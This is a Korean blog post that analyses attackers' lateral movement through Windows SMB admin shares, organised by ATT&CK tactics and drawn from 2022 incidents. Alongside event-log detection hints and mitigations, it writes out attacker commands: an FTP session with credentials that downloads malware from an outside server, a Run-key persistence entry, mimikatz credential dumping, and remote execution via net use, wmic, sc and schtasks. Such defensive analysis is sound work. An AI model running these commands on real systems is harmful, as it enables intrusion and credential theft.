SMB Admin Share를 활용한 내부망 이동 전략분석

남혜리·2022년 8월 15일
0

서론

고통의 피라미드

TTP(Tactic, Technique, Procedure)

  • IoC 기반의 방어체계 → TTP기반
  • 공격의 흐름과 과정을 패턴이나 기법이 아닌 전략 전술 관점으로 보아야함
    • 공격자의 TTP가 방어자 환경에 유효한가?
    • 유효하다면 TTP를 무력화하는 방어전략은?

ATT&CK : 실제 공격에 사용된 전술 및 기술, 대응방안을 나타낸 매트릭스

2022년 상반기 유행

  • 국내 대형 쇼핑몰 개인정보 유출사고
  • 가상화폐 거래소의 자산 탈취 사고
  • 그룹웨어 개발사의 소스코드 탈취
  • 공급망 공격 사고
  • 언론사 정보 탈취 사고

⇒ SMB/Admin Share를 이용한 내부전파(Lateral Movement)

  1. 인프라 구축/자원 개발

    • 명령 제어 서버: 국내 서버 임대
    • 악성코드 유포 : 국외 FTP서비스
      > cmd
      > ftp -v ftp.drivehq.com //ftp서버 연결
      > smithjohnxxx //ID
      > Pulamea123 //PW
      > hhas //파일 접근
      > deb //파일 접근
      > bin //파일 접근
      > get x.exe //악성코드 다운
      > bye //disconnect
      > exit
    • 악성코드 개발
      • ain (all-in-one) 해킹 툴
      • 악성코드 인젝터
        • WinEggDrop
        • Melody0
        • Syrinx
      • 시스템 장악
        • Minikatz
        • DUBrute: 무작위 대입공격
          • IP scanner + login brute 툴
        • RDP Cracker: 윈도우 원격 데스크톱 무작위 대입 공격 도구
        • MailCracker: 이메일 계정 무작위 대입
        • SMTP Bruter: 이메일 계정 무작위 대입
        • Bitcise Tunnelier: SSH 원격 접속 도구
        • Best Free Keylogger : 키로깅 도구
        • Cain&Abel: 무작위 대입도구
        • UltraVNC 원격제어도구
        • FGDUMP: 패스워드 덤프 도구
  2. 악성코드 실행

  3. 지속

    • 악성코드를 자동실행 레지스트리에 등록
      //경로
      Software\microsoft\Windows\CurrentVersion\Run  //에다가
      
      //값
      C:\WINDOWS\SysWOW64\X.exe //등록
    • 정상파일 변조 → 악성DLL 호출
    • 윈도우 고정키 프로그램 악성코드로 교체 → 백도어로 활용
      • sethc.exe(고정키) 백도어 취약점 이용
        • OS계정 인증없이 동작가능
    • Administrator와 GUEST 계정 무단사용
  4. 방어회피; Defence Evasion

    • 설정 정보 난독화
      • 설정정보, 내부 문자열 XOR 7 해서 저장
    • Code Singing; (인증서 위조) : 백신탐지 회피
      • 해킹한 업체 인증서 → 다른 해킹에 사용
    • 신뢰하는 프로그램에 악성코드 주입(DLL injection, process hollowing)
      • Masquerading
        • 정상 서비스 실행간 syrinx 닉네임 가진 dll 파일 숨겨져 있음
      • DLL side-loading
        • 정상서비스 실행간 SendMsg, NTPacket 함수 통해 악성 dll파일 로드
  5. 계정정보 수집

    • 키로깅 프로그램
      • 계정정보 수집 → 내부전파에 활용
        • putty 키로깅
        • Mstsc 원격 데스크톱 키로깅
        • telnet 키로깅
        • cmd 키로깅
    • 패스워드 덤프 도구
      • mimikatz: OS 크리덴셜 덤핑
        - NTLM해시값, PIN, 커버로스 티켓값 등
        - win에서 minkatz예방을 위해서 일부 레지스트리값 수정했음
        - 그래서 안먹을수도 있음

        https://github.com/gentilkiwi/mimikatz download

        privilege::debug //debug
        sekurlasa::logonpasswords //크리덴셜 덤핑
        lsadump::sam // 로컬계정과 그룹 정보
        lsadump::secrets //민감정보라는데?

        *password 가 null이면 레지스트리 값 바꿔서 그럼

        참고

        https://tggg23.tistory.com/36

      • 사용 로그

        UEME_RUNPATH:C:\Documents and Settings\nadminb\kiwi1\Win32\mimikatz.exe
      • FGDump

        UEME_RUNPATH:C:\WINDOWS\system32\fgdump.exe
    • 계정 크랙
      • Cain&Abel

        UEME_RUNPATH:C:\Program Files (x86)\Cain\Cain.exe
  6. 탐색

    • CMD 명령어로 시스템 정보 탐색
      • 프로세스
        • Tasklist //프로세스 탐색 명령어
        • 키로거에 process Monitor 기능 활용
      • 계정
        • cmd net user 명령어
      • 시스템
        • cmd systeminfo /more : 시스템 정보확인
        • cmd wmic os get installdate : OS 설치 날짜 확인
        • cmd wmic cpu get NumberOfCores : CPU코어개수 확인
        • cmd wmic memorychip : 메모리 상태확인
        • cmd gpresult /r : 그룹정책 확인
  7. 내부 전파

    • SMB/Admin Share
      • 윈도우 공유폴더 연결

        C:\\WINDOWS\system32> net use X: \\[접근할서버의 IP]\[접근해야될 디렉토리혹은 드라이브]$ "[패스워드]" /user:[로그인 계정]
        
        //example
        C:\\WINDOWS\system32> net use \\192.168.28.130\C$ password /user:192.168.28.131\administrator
      • 연결해제/시스템 종료 전까지 세션 유지&& 유지동안엔 계정검증 하지않는 점 악용

      • SMB/Admin share 기능이 비활성화 되어있는경우
        - emoteRegistry 서비스 활성화 → reg del

            ![스크린샷 2022-08-15 오후 5.15.10.png](%E1%84%8E%E1%85%A5%E1%86%B7%E1%84%87%E1%85%AE%E1%84%91%E1%85%A1%E1%84%8B%E1%85%B5%E1%86%AFTTPs#7%20SMB%20Admin%20Share%E1%84%85%E1%85%B3%E1%86%AF%20%E1%84%92%E1%85%AA%E1%86%AF%E1%84%8B%E1%85%AD%E1%86%BC%E1%84%92%E1%85%A1%E1%86%AB%20%E1%84%82%E1%85%A2%E1%84%87%E1%85%AE%2047a9c8181060458fafab38993d2efb03/%25E1%2584%2589%25E1%2585%25B3%25E1%2584%258F%25E1%2585%25B3%25E1%2584%2585%25E1%2585%25B5%25E1%2586%25AB%25E1%2584%2589%25E1%2585%25A3%25E1%2586%25BA_2022-08-15_%25E1%2584%258B%25E1%2585%25A9%25E1%2584%2592%25E1%2585%25AE_5.15.10.png)
            

        //로그 : Security 로그 Event ID 4624, 로그온 유형 3번

    • 악성코드 실행
      • Wmic : process call 기능으로 실행

        wmic /node:192.168.28.130 /user: administrator process call create "cmd.exe" /c c:\windows\sysWOW64\wmipserv.exe"
      • SC : 서비스 생성해서 실행

        sc \\192.168.28.130 create MSSQL (DATABASE) binpath="cmd.exe /c c:\windows\sys\wmipserv.exe"

        //로그 : system 로그 EventID 7045, 7009, 7000

      • AT, SCHTASKS : 스케줄러 등록해서 실행

        schtasks /create /S 192.168.28.130 /U administrator /P ~~password~~ /sc ONCE /ST 18:00 /tn footbar /tr c:\windows\system32\notepad.exe"

        // 로그 : Microsoft-Windows-TaskScheduler Operational 로그(기본적으로 비활성)에 Event ID 106

        💡 SMB/Admin Share 연결 로그 이후 서비스 설치, 스케줄러 생성 로그가 발생했다면 악성 서비스 여부 검토 필요
  8. Collection

    • 키로깅 프로그램 → 화면캡쳐, 클립보드 저장, 키보드 입력값 저장
      • ex. Best Free Keylogger
  9. C&C (=C2)

    • 원격제어 VNC 사용
      • ex. Ultra VNC
      • 공격자 서버의 81,82 포트로 연결
  10. impact

    • host 파일 변조 → 악성연결 숨기고 정상연결로 위장
      • DNS 스푸핑 같은 거라고 생각

결론

  • 강점) SMB/Admin Share의 C,Admin, Admin 공유 비활성화로 해결되지 않는다
    • ← RemoteRegistry로 강제 활성화 가능
  • 약점) 연결에 사용될 계정의 권한이 ‘Administrators’ 그룹에 속한 계정 중 User Account Control* 기능이 설정해제 되어있어야 한다
    • 혹은 ‘Administrator’ 계정을 활성화하여 사용해야 해당 기능을 이용할 수 있다

해결책

  1. 내부전파 예방
    • 계정마다 필요한 권한 나누어 사용
    • Administrator 계정은 직접사용 피함
      • 사용 필요시 User Account Control 설정후 사용
  2. CA 활동
    • 조직 내에 현재 존재하거나 과거에 활동한 공격자를 찾기 위한 활동

profile
고장나지 않은

0개의 댓글